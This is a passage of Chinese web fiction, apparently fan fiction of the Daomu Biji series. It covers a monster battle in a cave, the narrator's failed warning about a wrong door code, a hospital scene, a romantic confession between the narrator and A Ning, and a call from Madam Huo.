慌乱中,我不知被谁扯退了一步,就看到面前石壁中的密陀罗,伸出了一只细长的爪子!它手掌按在石壁上,极力要把自己撑出来!
阿宁队伍几乎疯了,老外各种哭爹喊娘,要回家找妈妈,耳边就听阿宁大吼一声:“别乱!拿枪打这些怪物!注意自己人!”
那边立刻一阵冲锋枪咆哮声,狭小的空间里一片巨响,炸的人耳膜要破了。
小孟抽出匕首,寒光一闪,猛刺那只即将出来的怪物手臂,一股绿色的难闻液体喷溅出来,小孟迅速闪身避开。
那怪物有痛感,婴啼声立刻响起,尖锐可怖,它的血在地上滋啦滋啦的响着,简直像王水一样。
阿宁那边,被几十个怪物包围了,密陀罗生命力很强,只要子弹不打爆脑子或是心脏,它们被打烂了四肢也能怪叫着蠕动过去,令人毛骨悚然。
“缝隙!从缝隙里跑!”有人疯狂扫射一圈,凄厉大吼。
“不行!你怎么知道那里面会不会是怪物的老巢!找死吗?”
“原路返回!原路返回!”一串子弹爆射过来,巨大的推力使几个密陀罗摔飞在我们面前,紧接着猛冲过来几个人。
几人完全没想到这个犄角旮旯藏着人,枪管立刻就抬了起来,哈士奇一把压下他们的枪,和我大眼瞪小眼:“你你你怎么在这?!”
我深吸了口气,掏出枪,两个点射,打爆从石壁中探出上半身的怪物心脏,“来不及解释了。”我和哈士奇擦肩而过,带着身后几个人迎上所有人震惊的目光,小孟一脚踹飞前面挡路的密陀罗。
这一瞬间我有种错觉,自己似乎是某位压轴出场的大佬,嘴角带着似笑非笑,神情带着漫不经心,犹如神兵天降,踩着七彩祥云来救阿宁了。
阿宁似乎听到了我的声音,猝然转身,露出半边鲜血淋漓的肩膀,眼中杀意潮水般褪去,眼神里满是不可置信。
她飞快打量一圈我身后的人,眼神一厉,一梭子打翻不停围过来的密陀罗,几步奔过来,铁钳般抓住我的手腕,语调盛怒又颤抖,从牙缝里蹦出来几个字:“……林霖,你可真是好样的!”
我几个手下盯着阿宁,迅速围过来,我还没开口制止,阿宁放开我,重新冲入混战,嘶哑命令炸响:“A组原路返回!B组所有人立刻进入西北角缝隙!”
没有人质疑,最后一梭子子弹打完,地上铺满了碎裂令人作呕的惨绿尸块,和散乱的人骨堆在一起,几乎没有下脚的地方。
队伍训练有素,有序退出洞穴,阿宁抓紧我手腕,温热的鲜血浸湿我的袖口,她不由分说地扯住我,退入西北角的裂缝。
阿宁的血不断滴落在地上,从我这个视角看,她鬓角冷汗津津,嘴唇抿成一条直线,下颌绷紧,脸色极其难看。
“阿宁!你哪里受伤了?包扎一下!”我一手拿枪,一手要挣脱她的手掏纱布,阿宁立刻嘶了一声,似乎是牵扯到了伤处。
我不敢动了,她更加用力地撰住我手腕:“别动,跟紧我!”
裂缝四周,不断有密陀罗从石壁中靠近,猛然伸出厉鬼般的细长爪子,被我们毫不留情打爆。
我们狂奔一段距离,石壁中的怪物无穷无尽一般,但是子弹是有限的,有人子弹告罄了。
忽然,前面传来狂喜的声音:“有风!前面有风,出口就在前面!快跟上,我们要出去了!”
我心中一振,冲过一个弯道,结结实实撞在了前面小孟后背。
前面所有人都停了下来,僵在原地,牙齿战栗,仿佛看到了极端可怕的东西。
“什么情况?!”“这里都是…怪物,它们把出口堵上了!”“前面都是怪物!”
“让开!”阿宁松开我的手,大力拨开队友,冲到前面,透过人影的缝隙,我看到前面狭窄缝隙里,一双双没有黑眼珠的眼白死死盯着我们,密密麻麻站满了密陀罗!
有人喘着粗气环视一圈,双眼通红:“怎么办?它们太多了打不过的……我还有手雷!炸飞它们!”说着,他哆哆嗦嗦掏出雷/管,手指放在了铁环上!
阿宁怒喝道:“你给我住手!山体内部一旦爆炸,头顶立刻塌方,成千上万吨的巨石压下来,我们所有人都要死在这里!把他的雷/管夺下来!”
我劈手抢下雷/管,塞到自己口袋里。
前面阿宁说完这句话,悍然出手,迎上扑过来的密陀罗,她双手抓住密陀罗,下一刻直接把它横扫了出去,撂倒一大片。
火力倾泻,刺鼻的火药味和碧绿血液奇怪的味道直冲大脑。
阿宁像一把尖刀,笔直刺入密陀罗血肉阻塞的通道,要为所有人开出一条生路来。
“后面!后面也来了!”
短短几息,我们退路完全被封锁,蝗虫一样的密陀罗包围了我们。
现在就算想退回去也没有路了,小孟和几个人挡住后方进攻,但包围圈越来越小。
这样下去不是办法,我抬起头,飞快环顾四周,想找找其他的路。
就在此时,我看到,阿宁头顶的石壁上,丝丝裂痕出现,下一瞬,石壁玻璃般爆裂,一只密陀罗尖啸着跳下来,直指阿宁!
时间仿佛凝固,我猛冲上去,扑倒阿宁,两个人狼狈地翻滚两圈,狠狠撞在石壁上,胳膊撞的剧痛,几乎抬不起来。
“林霖?你怎么样?!”阿宁捧住我的脸,焦急地不断确认道。
“……没事。”我强打精神,要去摸我掉在地上的枪,下一刻,我看见阿宁瞳孔骤然缩小,紧接着,天旋地转,我和阿宁调转了方向,骤然被按倒。
“噗呲——”
利器贯穿皮肉,巨力挤压骨骼,令人牙酸的咯吱声顺着阿宁的骨头传导过来,在我耳膜炸成闷雷,大脑嗡嗡作响。
滚烫的血留下来,几乎要灼烧融化我。
一瞬间我睁大眼睛,时间仿佛变慢了不知道多少倍,我看到几个老外大惊失色的脸和暴怒的口型,他们在喊“宁”。
偷袭的密陀罗不知道被谁一脚踹飞,它细长锋利的爪子抽出阿宁后背的那一刻,我感到阿宁颤抖了一下。
痛苦地热气扑在我颈窝,紧接着,她整个人再
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也支撑不住,翻倒在一边。
“阿宁!!阿宁!!!”我浑身发抖,衣领处全是渐渐变凉的,阿宁的血。
我跪在她身边,抖着手拿出纱布,在她左肩伤口一按,血立刻浸透,掌心全是湿意。
阿宁仰面躺在地上,唇色煞白,感觉不到痛似的静静看着我。
风声、吼声、尖叫声离我们远去,周围一切拼杀声仿佛飘忽不定的云,再无实感。
“林霖……”阿宁抬起了手,轻声说。
“什么?”我握住她的手,泪水忍不住冲了出来。
“……别哭,”阿宁的声音几不可闻,我必须贴到她唇边才能听到,她语气轻松,带着一丝笑意,又仿佛有让人溺毙的深情和温柔:“林霖啊……我说过,我不会再让你受伤了……”
……
冲出缝隙的一刻,天光大亮,所有人重获新生一般又哭又笑。
我两腿几乎动弹不得,守在阿宁身边呆呆的看着她。
阿宁左肩被刺穿,贯穿伤。
队伍里的医生给她做了应急处理,但情况依然不容小觑,队伍里很多人都受了重伤,必须马上转移到医院治疗。
他们也没想到此行如此凶险,这个东方古国的墓道诡谲程度完全超乎想象,迎头就给了老外们狠狠一击,现在一个两个都抱着枪神情紧绷,有些应激反应。
阿宁倒下了,没了主事人,他们像一群没头苍蝇一样乱走。
我勉强打起精神,看到几个熟悉的面孔,让他们去捡点柴火烧,大伙勉强吃了一顿热食。
阿宁脱离危险的时候,已经是傍晚,裘德考派了救援队,几个白大褂医生抬起阿宁,健步如飞的走了。
小孟扶起我,我神情恍惚,看了看夕阳,被刺到了眼睛。
温暖的阳光照在我身上,慢慢的,才对周围有了正常的感知。
“是确认阿宁没有生命危险,对吧?”我问小孟,“你也听到了对吧?”
小孟担忧地支撑着我,肯定道:“是的林小姐,我敢确定我听到了。”
救援队是分批来的,最紧急的一批人先拉走了,虽然我很想跟着阿宁,但我的良心不允许我和伤员抢位置。
我抱臂坐在一边,低着头沉默着。一夜的拼杀,实在太累了。
阿宁倒下后,我几乎疯了,两手端着枪不知道杀了多少密陀罗,没有人敢靠近我,怕被我无差别误杀。
小孟她们身手好,只受了点轻伤,剩下几个老外小心觑着我,不认识我的人偷偷打听着我的来路。
一杯热水递过来,小孟在我身边坐下,劝道:“不吃东西,总得喝点水。他们都看着你呢。”
我愣了愣,视线扫过队伍,他们迅速避开,假装盯着远方。
“这是?”我失笑。
“林小姐太神勇了,”小孟说,“枪枪击中怪物要害,人都是慕强的,这很正常。”
我摇了摇头,如实说:“我只是个普通人罢了。昨晚也是疯了,我自己现在回想起来,都很恍惚。”
“但你做的都是不普通的事。”小孟感慨似的说,“墨婳果然眼光老辣,你这样的人,到哪里都会引起别人注意的。”
32.虚妄
“是吗?”我看着小孟,这个人年岁也不大,二十八九的样子,行为举止却稳重大方,气质温和。
小孟神秘一笑,落落大方地任我打量,示意我看我的几个手下,说:“今日过后,她们会对你死心塌地。林小姐知道为什么吗?”
她神情笃定,还卖起了关子,不知道为什么,我感觉到,她对我的态度隐约有变化,和之前不太一样了。
“为什么?”我快速思索了下,没想到自己用过什么收买人心的手段:“你们不是墨婳的人吗,是墨家人吧,一个两个身手好到能去拍电影当保镖,出去了估计都是大宗师级别的。”
她惊讶地看着我,点点头:“看来墨婳跟你说过不少。”
“昨晚在缝隙里,你的冲锋枪几次扫过来,打飞她们几个身边的怪物,你看到她们看你的眼神了吗?”
我回忆了下,摇头:“没有,人太多了,无论是谁,我看到了都会帮忙,我不能在看到有人因我受伤了。何况你们本来就是我带来的,我应该对你们负责。你们要是受了伤,我没法交代,不仅对你们没法交代,我自己良心上也过不去。”
小孟:“好吧,林小姐,我想说的是,无论你因为什么救了她们,在墨家斗兽场厮杀出来的蛊王,血肉横飞打造出来的兵器,从来没有人把她们当个人看。更不用说救她们,说出对她们生命负责的这种话。”
我想起那个被我撞到的人毫不迟疑的一跪,单论武力,她明明可以把我头拧下来。
心里为她们感到难受:“你们墨家可真没人道!现在都什么时候了还搞这一套?越活越封建了!”
小孟笑了笑:“你不会想知道她们的身手是怎样磨练出来的……非常残忍,以至于我现在回想起来,都是噩梦一样的存在。”
我心中一动,难道她和墨婳也是这样过来的?这墨家跟个什么邪教组织一样。
“林小姐,你可能不是一个有雷霆手段的领导者,但与你这样的人共事,确实另人十分安心。反正不会在什么也不知道的情况下就变成炮灰祭天。”小孟说着说着笑起来,似乎觉得十分有趣。
“接下来你无论想做什么,我们都会全力支持你。”她拍了拍我的肩膀,起身离开。
……
大山里的路不好走,最后一批救援队直到第二天早上才来。
同时来的还有下一个配备了重火力的队伍,他们将接替阿宁队伍,沿着之前的脚步,继续寻找张家古楼。
一队人在热火朝天的挖石头,因为最后我们狼狈逃出来的时候,我到底还是丢出了口袋中的雷/管,炸塌了这个通道。
我看着他们嬉笑怒骂,心里有点伤感,这一队不知道能活着回来几个人。
救援队队长向我比个手势:“林小姐,我们该走了。”
我点点头,打算拎起脚下的包。一个手下窜过来,抢先背上了我的包,垂着眼睛说:“林小姐,我来。”
队伍行走在回程路上,救援队带来的大量补给十分有效,我们的脸色都由一开始的惨白变得逐渐红润起来。
我心情稍微好了点,阿宁受了伤,虽然这是我不愿意看到的。但歪打正着,她去不了张家古楼了。
似乎是不错的结局,我心里想,张家古楼之后,裘德考寿命已尽,死掉了。
养父已死,再也没有任何恩情能困住阿宁,她可以成为一只自由的鸟,飞到哪里我都为她高兴。
“什么人?!出来!”救援队队长忽然爆喝一声,迅速端枪,咔嚓一声上了膛。
前面崖壁,层层叠叠的藤蔓忽然动了动,那边也传来上膛声,紧张又有些熟悉的声音传来:“你们是谁?”
我吓一大跳,拨开一瞬间把我围成铁桶的手下,高声道:“是不是霍家的人?我是林霖!”
那边静了十几秒,有人拨开藤蔓,钻了出来,接着一个接一个,很快站满了许多人。
无一不是霍家的精锐,胖子吸着肚子从狭窄缝隙里跳出来,奇道:“林霖?你也在这,好有缘啊,你这是……混入了阿宁的队伍?”
最后一句,他压低声音,把我扯到一边说。
他看我眼神制止那几个手下,眼里闪过羡慕:“好啊你!哪来的人?我就知道你不简单,这属下的档次,我看和霍老太太的人也差不多了,你行啊你。”
那边,救援队队长恭恭敬敬和霍老太太行了礼,说明我们只是路过的。
霍老太太面有疲色,轻轻一挥手,示意我们可以走了。
老外们不敢造次,赶紧开拔,我犹豫了下说:“队长,你们在前面等我一会儿,我和胖子说两句话。”
老外的身影消失在树林,小孟几个人识趣地分散在一边,霍家人都皱眉看着我,显然不明白我搞哪一出。
我正了正神色:“胖子,吴邪和解语花给你们的石门密码,是第几道了?”
这句话我并没有压低声音,胖子惊的跳起来,下意识就要捂我嘴。
还没挨到我,小孟就闪了过来,一把擒住他手腕,胖子被定住一样丝毫动不了。
闷油瓶古井无波的视线看了过来,“墨家人?”
我拽了一下小孟,她松开手退到我身后,盯住闷油瓶的手指,似笑非笑:“张家人?”
他们不知道有什么渊源,在无声对峙。
霍家却立刻炸了锅,一个伙计指着我叫起来:“拿下她!这么机密的事你怎么知道的!看来我猜的没错!你果然是裘德考派来的探子!”
有人有动作,但也只是动了动脚。笑话,霍老太太没吭声,谁敢越俎代庖对我动手?
霍老太太视线扫过来,我顿时感到一股无形的压力,老辈子手握大权的人,气势最为摄人。
我后背出了冷汗,胖子终于回过神来,一边瞪着小孟,一边打哈哈:“那什么,这林霖我打包票不是探子,她要是探子我也是探子,你再鬼扯一句信不信我把头给你埋地里!”
霍老太太眼神里有老人特有的睿智,她打量了我一眼,目光沉沉:“你就是跟吴邪他们一起胡闹的林霖?说吧,你想说什么。”
胖子之前见过我的种种“神异”,干脆不问我怎么知道的,附耳道:“现在是第三道密码了,但真他大爷奇怪,我们没能进去,反而走出来了。”
当然,当然没能进去,我心里说,能进去才怪!
因为,最后一道密码,根本就是错误的!最后一道错误密码,是导致霍家的悲剧、霍秀秀的悲剧的直接原因!
细微的失误造成了毁灭性的后果,霍家精锐全灭,当家人身死,吴邪要救出他们,救出胖子闷油瓶,却难以预料的葬送了潘子的性命。
“林小姐?林小姐?”小孟在低声叫我,我如梦初醒,耳膜鼓震,几乎站立不稳,不知道为什么,大脑昏沉,人声窃窃私语一会儿近一会儿远,像在做梦一样。
我掐了掐手心,疼痛激起稍许清明,我发现不知道什么时候我半跪在了地上,胖子企图掐我的人中。
我打开他的手,喘着气说:“你们
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不能再进去了!”我仿佛溺水,窒息和眩晕一阵阵传来,熟悉的感觉从喉间上涌,耳边心跳如雷,全身和心脏同频震动起来。
我用尽最后一丝力气,看着渐渐模糊的霍老太太,睁大眼睛看她,老太太似有所感,鹰一样的眼神盯着我,厉声道:“她要晕了!把那个东西给她服下!”
眼前一圈圈泛起光晕和黑暗,我呢喃道:“……不,不对,密码是错的,你们不能再进去了!”
冰凉的毛巾盖上额头,我从噩梦中惊醒,入眼是小孟关切的脸和洁白的天花板。
房间里,我的几个手下忙忙碌碌,有削苹果的,有烧水的,有甩体温计的。
“这里是南宁市第一人民医院,你没事了林小姐。”小孟说。
我大脑思维像被冻住了,对一切都迟半拍。
“阿宁呢?”我勉强坐起来,只觉得浑身酸疼,嘴里一股铁锈味。
“她在另一个病房,还没苏醒,不过医生说她最迟今天就醒来。”
“我昏迷几天了?”我在两个人的搀扶下下了床,“我去看看阿宁,带我去看她。”
在医院走廊里,大脑迟钝的记忆复苏,最后我还是一头撅过去了,霍老太太没有来得及中止我的晕厥。
我抓住小孟的手,不自觉提高嗓音:“霍家人最后有没有进去?!”
几个手下面面相觑,小孟看我的眼神奇怪又迷茫,疑惑道:“什么进不进去?”
她眼中是完全不作伪的陌生,怎么回事?小孟不是会逗我的人,她不会和我开玩笑,难道她没有听到我说话?
我心里瞬间发寒,一个几乎不可能的想法盘旋在脑子里,我不敢相信,一把抓住她的衣领,吼道:“我们不是在回去的路上遇到了霍家人吗?”
走廊一静,几个医护朝这边走过来。
“是的林小姐,”小孟顺着我的后背,“我们遇到了霍家人,你要和王先生说话,不过还没说什么,你就忽然吐血昏倒了。”
我难以置信,“不,怎么可能?我一句话都没说吗?我明明……”
“你好这里是医院,请不要大声喧哗。”一个护士打断我。
“林小姐,你的确什么都没说。当时我就在你身边,眼睁睁看你倒下了。”小孟摸了摸我的头,“你是不是做梦了?”
我难以接受,我确定我说出了那那两句话,怎么可能没听见?
我猛推开她,急促地后退两步,困兽一样抬头望去,一脸漠然的医护,担忧又惊诧的小孟,扑克脸的手下。
走廊上所有人都看着我,神情惊恐又提防,仿佛在看一个发病的神经病。
走廊的顶灯白光扭曲,火焰一样炙烤着我的神经,滴答滴啊时钟从虚空中清晰响起,我努力看清,赤红的时针,是逆时针走的。无数钟表包围了我,倒计时着我的生命。
一切就像一场光怪陆离的幻境,谁能告诉我,这一切是不是真的?真实和虚妄,我究竟在哪里?
砰地一声,一扇门开了,阿宁冲出来,肩膀上缠着厚厚的纱布,她大声叫我的名字,单手环住了我:“林霖冷静!是我!我是阿宁!”
她强硬地掰开我的下巴,“不要咬舌头!”温暖的怀抱环住了我,我猝然回神,大口喘息着,心里涌出无尽的苦涩和无力。
头轻轻放在她右肩,我只感觉疲惫无比,浑身散了劲,低低叫了一声:“阿宁……”
她不断安抚着我,轻拍后背,抚摸着我的头发:“没事了,没事了,我在这里。”
33.爱意
病房里,阿宁遣散了所有人,在我身边坐下。
阿宁视线落在我的短发上,微微笑起来:“怪不得他们把眼盯花了都没看到你,原来你把头发剪了。”
我笑了笑,“不然怎么瞒过你?我可不想一到巴乃就被你抓了。”
房间里安静下来,我看着阿宁的伤,她主动说:“没有什么大碍,皮肉伤,没有伤到骨头。”
“那就好。”我小声说。
窗外市区的喧闹、走廊有人偏高的音节、海浪般一声接着一声,最终泯于虚空,无尽的时间与空间只剩下我们两个人。
阿宁离我很近,她坐在小孟之前坐的椅子上,并且往前搬了搬,近到我一伸手就可以拉到她。
可是我一瞬间觉得她离我非常遥远。
我和阿宁之间隔着太多的东西了,无论是我倒计时的生命、无法宣之于口的爱意、还是书里书外不同维度的世界。
阿宁唇角动了动,似乎有话要说又不知道如何开口。
她会问我什么?为什么要去巴乃?我多出来的保镖打手是怎么回事?为什么偷偷尾随她?
“你没有什么想问我的吗?”长久的沉寂后,我受不了这温水煮青蛙一样的氛围,说道。
“当然有,”阿宁顿了顿,探究地看着我,“但是你会跟我说实话吗?”
“……”我哽住了。
“林霖,你能告诉我你想做什么吗?你千方百计甩开我在北京留给你的人,跨越大半个中国找到我,是为了来给我挡刀?”阿宁平静地说,不放过我一丝表情变化。
“算了,”阿宁轻轻呼出一口气,放弃了询问这个问题,说:“刚刚是怎么回事?你刚刚怎么了?”
她向前倾身,一只手拉住我的手,微微摩挲着。
我迷茫地看着前方,眼神没有聚焦,求证似的说:“阿宁,我只是个普通人。”
她看着我,垂下眼睛,点点头。
“其实无论是霍家还是吴邪胖子,都和我没有什么关系。”我冷静地说,心中似乎抽离出一个冷漠又理智的人,捋清着最真实,最无情的事实。
我语速很快地说着,以此来逃避某种强烈谴责良心的洪水猛兽:“吴邪霍家潘子云彩,说白了和我有什么关系?我一不欠他们钱二和他们不熟,难道要我豁出小命去救他们?这种亏本的买卖狗都不做!更何况现在我不知道被什么奇怪的东西给禁言了,狗日的它把我的话屏蔽了?”
“这不是我不想救他们,是我根本没有这个本事!我能以凡人之躯拯救全世界吗?我又不是超人!蜘蛛侠还是被变异蜘蛛咬了一口获得超凡能力才当救世主的。何况,何况我也没有义务救他们,阿宁你说对不对?”
“我已经仁至义尽了,霍家人没听到,但我警告了危险,我确实说了,没有人听到难道要怪我吗?”
“我已经受到惩罚了,吐血吐的不吱声,等我作到生命尽头嘎了我就老实了。”
“阿宁,你说我究竟还有什么不知足?起码……”起码我救下了你,我还不满足吗?
我也不管阿宁听不听的懂,说着疯言疯语,我的唇角应该是在笑的,但泪水却无声地淌了下来。
阿宁忽然起身,大力把我抱住:“好了林霖,别说了,别说了。没有人怪你。”
她的怀抱一直都很温暖,我知道。淡淡的酒精味儿萦绕在鼻尖,我把头埋在她怀里,疲惫又愤怒。
没有人怪我,我当然知道,一直跳起来责怪我的,折磨我的,从来只有我自己。
挑战既定的命运,和扭转高速行驶的高铁方向有什么区别?
我要是逞强,拎不清自己几斤几两,一是被高铁撞死,二是让高铁改道,脱轨,哪一种都是恐怖的存在。
这件事到此为止,我不能再插手了,有这个时间,我和阿宁过过二人世界,偷偷享受最后的日子不好吗?
“带我走。”我颤抖着声音,“离开广西,离开这里,去北京,去美国,哪都好,我不想在广西呆着了。”
阿宁猝不及防一愣,很快答应:“好,我们离开这里。”
两小时后,离开的专机安排妥当,阿宁带着我匆匆到机场。
天色阴沉沉的,看起来要下雨,小孟她们带了伞,亦步亦趋地跟着我,时不时看我一眼,看起来有话要说。
机会永远赶不上变化,如今我人在阿宁这里,墨婳无论如何都无法把我抓走了,我要是再狠狠心,能敲她一笔,让她拿钱赎小孟她们。
我站在机场宽广的空地上,看着远处的天空。
来这里时我晕车很狼狈,离开这里竟然更狼狈,像个逃兵一样。
阿宁看我不动,停下来等着我,侧身望过来,黑发下面露出一小节流畅凌厉的下颌线。
阿宁穿了一件冲锋衣,脚蹬一双棕色作战靴,看
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起来不像是和我一起逃跑,反而像会中途不动声色背上降落伞,趁我不注意一跃而下再回来。
我越看越狐疑,大步上前,紧盯阿宁的眼睛:“你是不是打算回来!”
阿宁一顿,笑笑:“说什么呢林霖,我们一起走的,我怎么回来?”
周围有老外窃窃私语,我心中总有种直觉般的感觉,把她拉倒一边,咬牙切齿:“阿宁!你不能去巴乃了!不然我费尽心思撵着你图什么!你到底去巴乃干什么?就为了给那个死老头找续命的法子?”
阿宁瞳孔里有我小小的倒影,她琉璃般的眼睛弯了弯,忽然抬手摸了摸我的耳廓:“我以为你知道呢,看来一向什么都知道的林霖也有当局者迷的一天。”
我下意识一缩,我的耳朵泛起细密的痒意,很快燃烧了起来,我恼羞成怒一把打开她。
阿宁夸张地倒吸一口凉气,捂住左肩膀:“痛痛痛痛。”
我慌忙拉她外套拉链,要看她伤口有没有渗血,手腕却被一股大力抓住,愕然抬头,迎上阿宁的带着笑意的眼神,恍然大悟,她竟然在骗我!
阿宁平时都是严肃的领队形象,这样的玩笑对她来说极其难得,她眉眼带笑,如冰雪消融。满天的阴云也挡不住她眼里的温柔和璀璨。
“我的奥迪a6被你开报废了。”
我一愣,怎么说起这个?坏了我好像没钱赔。
“我把你安置在北京,二环以内寸土寸金的宅院,拨给你的保镖年薪百万级别。”
“塞给你的卡,你要是有心查一查,会发现里面有一个惊人的数字——但遗憾的是你从来没看过。”
阿宁叹了口气,按住我的后颈,制止我后仰的幅度,眼睛像是一汪深潭,翻着细微的波纹:“林霖我发现你真的心大,你觉得这是普通朋友能做到的程度?”
“等等——”我呆住了,一个从来不敢想的念头龙卷风摧毁停车场一样席卷我的大脑,仿佛富士山喷发,小男孩爆炸,刹那间我的大脑完全空白了。
温度逐渐升高,这一小片区域似乎和周围割裂开来。
砰、砰、砰…我听见心脏有力地在胸腔跳动,连带着每一寸血管和神经,导火线一样急速爆燃炸开绚丽的烟花。
阿宁轻轻地拥住我,轻柔又不容辩驳的力道传来,她的话音带着令我头晕目眩的、毫不掩饰的爱意:“我去巴乃,是为了给你找续命之法啊。”
34.爱意(二)
“什么?我不信。”嘴角忍不住勾起来,我发现以后赶紧把不值钱的笑压下去,“你明明是为了裘德考,别想骗我,我什么都知道。”
“老板只是想要张家古楼里面的一个东西,他自知大限将至,只求得那个东西他就圆满了。”
阿宁双手捧着我的脸,迫使我抬起头来,我感到她手心温暖的温度,阿宁体温一直比我高,在秋日的凉风中,是那么暖和的让人安心。
“我得知了张家古楼的情报……想去闯一闯,为你博一个生机。在北京的时候你几次偷偷吐血我都知道,我看你有条不紊的毁灭血迹,能猜到你很清楚自己身体状况……”
我凝视她的眼睛,拨开那层我一直下意识忽视的迷雾,我发现阿宁看我的眼神凝聚着如此多的复杂情绪。像一本高深的书,里面写满了晦涩难懂的公式,解出的却是名为喜欢的答案。
那些在我低头、转身的瞬间,她是不是会把目光偏向我,层层加码、爱意汹涌的目光倾注在我身上?
“是的,我清楚。”我低声说,“阿宁,你是从什么时候开始…我是说,你怎么喜欢我的?为什么?”
“为什么?”阿宁微微低头,亲昵的与我额头相贴,温柔地蹭了蹭,两个人额间碎发交缠,“你也会问这样的问题吗?这让我有些惊讶,你本身就是一个很好、很值得别人喜欢的人。”
“我……你可以接受女孩子的感情?这可能不是那么寻常……”我如梦似幻,身处云端般开口道。
阿宁低低地笑了,在我头上亲了一口:“当然,爱情和性别无关。”
越过阿宁的肩膀,我看到小孟和一群老外都瞪大了眼睛。
我偷偷往她怀里缩了缩,“那个,可是你还没有恢复记忆。”
阿宁悠长地叹了口气,意味深长道:“是的,失去了记忆,我的世界里只剩下自己的名字和你的草莓小蛋糕,在格尔木的医院说说草莓小蛋糕几个字的时候我就该明白自己的心意。但人这一辈子总会遇到自己不了解的事情,别人轻松看透的事情局中人却要挣扎很长时间。”
“能不能记起以前的事情,都不影响我爱你。”
体温蜿蜒攀升,我感到有些口干舌燥,阿宁的眼神太有存在感了,我能感到她一遍一遍描摹着我的脸颊,捕捉着我的神态。
“……在上海海边,我眼睁睁看着你…坠落。”
我睁大眼睛,不由自主地看着她。阿宁对我弯了弯眼角,一遍又一遍抚摸着我的脸颊。
她的眼神残余着些许恐惧,搂在我后背的胳膊紧了紧:“我从来没有那么害怕过,就算被敌人拿十几把枪指着我也从来没怕过……但那个时候我知道了绝望、恐惧是什么滋味。我不想再经历一遍失去你的过程了。”
“林霖啊……我做不到,再次眼睁睁看着你…死在我面前,那样我宁愿吞枪自杀。”
“别!”阿宁搂我搂得很紧,我把手放在她右肩,微笑着,语气轻松:“你不能死,因为我本来就是为你而来,你要是真死了,那我这条命可就白费了。”
她的身体颤抖起来,仿佛连带着我也要燃烧起来。
我知道阿宁是个聪明人,我也不是一个演技绝佳的演员,也不是城府很深的洋葱。
也许她早就在蛛丝马迹中抽丝剥茧般推理出了些许真相。
也许是在我频频望向她的眼神中,也许是在我种种十分反常的行为中,也许是在我先知般的预判中……我从来不怀疑阿宁的智慧。
“真的吗?”阿宁眼框逐渐变红,轻轻眨了眨眼,天然下垂的睫毛微微变湿,就像打了个哈欠。
秋风裹挟着城市的烟卷上天空,枯黄的落叶飘在我脚下,就像在预示我最终的结局。
我低下头不说话。
过了不知道多久,阿宁声音哽咽,从齿缝间挤出一句话:“你不觉得,这样对我太残忍了吗?林霖?”
我心中酸涩无比,张了张口,想说些安慰她的话,阿宁忽然率先说:“抱歉…抱歉…”她轻轻放开我,拉起我的手,珍重地在我指节上吻了吻,“我不该这样说你。”
她那黑曜石一样的眼眸看着我,眼中燃烧起熊熊烈焰:“林霖,我不甘心。我不是信命的人,我会找到办法的,无论用什么办法……”
她呢喃着,视线仿佛望向了虚空,和某种不可抗力因素对峙着。
“阿宁,”我用力握了握她的手,“永恒之枪一旦掷出,结局是无法更改的。”
阿宁愣住了,逃避某个可怕的话题似的立刻说:“不,是有办法的,只要我从张家古楼里找到长生的办法,就能让你…
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”
“阿宁!”我抬高声音:“长生是要付出代价的,你不记得在沼泽里我们遇到的陈文锦。她是当年西沙考古队的队长,你应该有所了解吧?所有沾到‘长生’两个字分毫的人结局都不好。”
“我清楚,所以我不想要。我想自己选择最后的时光。”
阿宁轻轻颤抖着,悲戚地看着我,我坚定的回望她,笑起来:“起码我们还有时间,太梦幻了,我简直是在做梦一样。阿宁……你也喜欢我,这是命运给我最大最好的礼物,我不是贪心的人,我知足啦。”
“别哭啊阿宁……我看不了你哭的……”我轻抚去她眼角的泪,“真的,遇到你我特别特别高兴,哎我告诉你你要是哪一天知道了这一切的真相,一定会和我一样感觉神奇又不可思议。”
忽然,有人刻意放重的脚步声传来,伴随着重重的咳嗽声。
阿宁放开我,我就看到小孟低着头走了过来。
小孟一手攥拳,咳了一声,眼睛盯着地面,把我的手机递过来:“林小姐,你有一个电话打了几遍了,我这实在没办法了,才……”
我不好意思挠了挠头,偷看阿宁一眼,她脸色很臭很奇怪,破天荒带着个人情绪的盯了小孟几秒钟。
小孟有点汗流浃背,我一挥手,她赶紧跑了。
手机有好几个未接来电,陌生信息,还有吴邪发的短信,看来小孟确实坚持了好一会儿。
吴邪:“急急急!林霖回我电话!”
陌生号码:“林姐姐你在哪?快接电话!”
此类信息还有好几条,都是催我的。
心中忽然有一种奇怪的感觉,仿佛有某种脱离控制的事情正在发生。
铃声依然在不休不饶的响,竟然是个北京的号?
我有些惊疑不定,阿宁也看到了,和我对视一眼。
“喂?你好。”我屏住呼吸,心不由自主的狂跳起来,希望不是新月饭店来砍我的。
一个我完全没要想到的,苍老又威严的声音从听筒传来:“林小姐,我想和你谈一谈。”
我张大嘴巴,愣愣地看着阿宁,她被我的反应搞懵了,无声的问我怎么了?
我不可思议的拿下手机,看着来自北京的号码,难以置信地回道:“你是,霍老太太?!”
35.人心
这是一个我绝对想不到的声音,在我的认知里,她已经死了。
我如此着急逃出巴乃,很大程度上是我接受不了霍家的噩耗以及这一系列悲剧。
可现在,霍老太太给我打了电话?
十万大山里没有手机信号,霍老太太如果进入张家古楼,那更不可能给我打电话。现在有两个可能,一是霍老太太变成鬼了;二是霍老太太没有进去。
我手机快被人打爆了,看起来不像是鬼,那么,她就是没有进去?她回到了魔湖旁边?
这是什么情况?难道他们听到我的警告了?那小孟为什么说没听到?
霍老太太沉沉道:“林小姐,你听起来很惊讶?”
“……是…有一点点。”我没什么说服力的掩饰道。
我屏息听着,老太太那边的背景并不安静,我听到各种对讲机有些失真的人声和伙计焦躁的吼声,看来她那边似乎并不太平。
霍老太太却依然慢悠悠地说着话,细微水声传来,听起来还有人为她斟茶。
我甚至能想象她像一个老贵族一样坐在湖边的帐篷里,像坐在自己的古堡庄园里,任凭外面的家臣左奔右跑乱成一锅粥了,也在有条不紊的和客人通电话。
“林小姐,我活了大半辈子,见过了太多的人和事,”霍老太太说,“在北京,你和吴邪他们一起胡闹,被我们霍家接回来时,公主坟大院里,我远远地看过你一眼。你这样的人,不说我,一些稍微年长些的老人都能一眼看穿,机灵、单纯、又有点小聪明的那种孩子。”
我一愣,怎么夸起我来了?忽然想到她对我的称呼,连忙道:“谢谢……您叫我林霖就行,我和秀秀小姐一辈的,您这称呼太折煞我了,晚辈担不起。”
霍老太太笑了,继续说:“你和吴邪是一类人,难怪你们能玩到一块去。小姑娘,我没想到就是你这么一个不起眼的小辈,竟然会有那样的眼神。”
眼神?什么眼神?
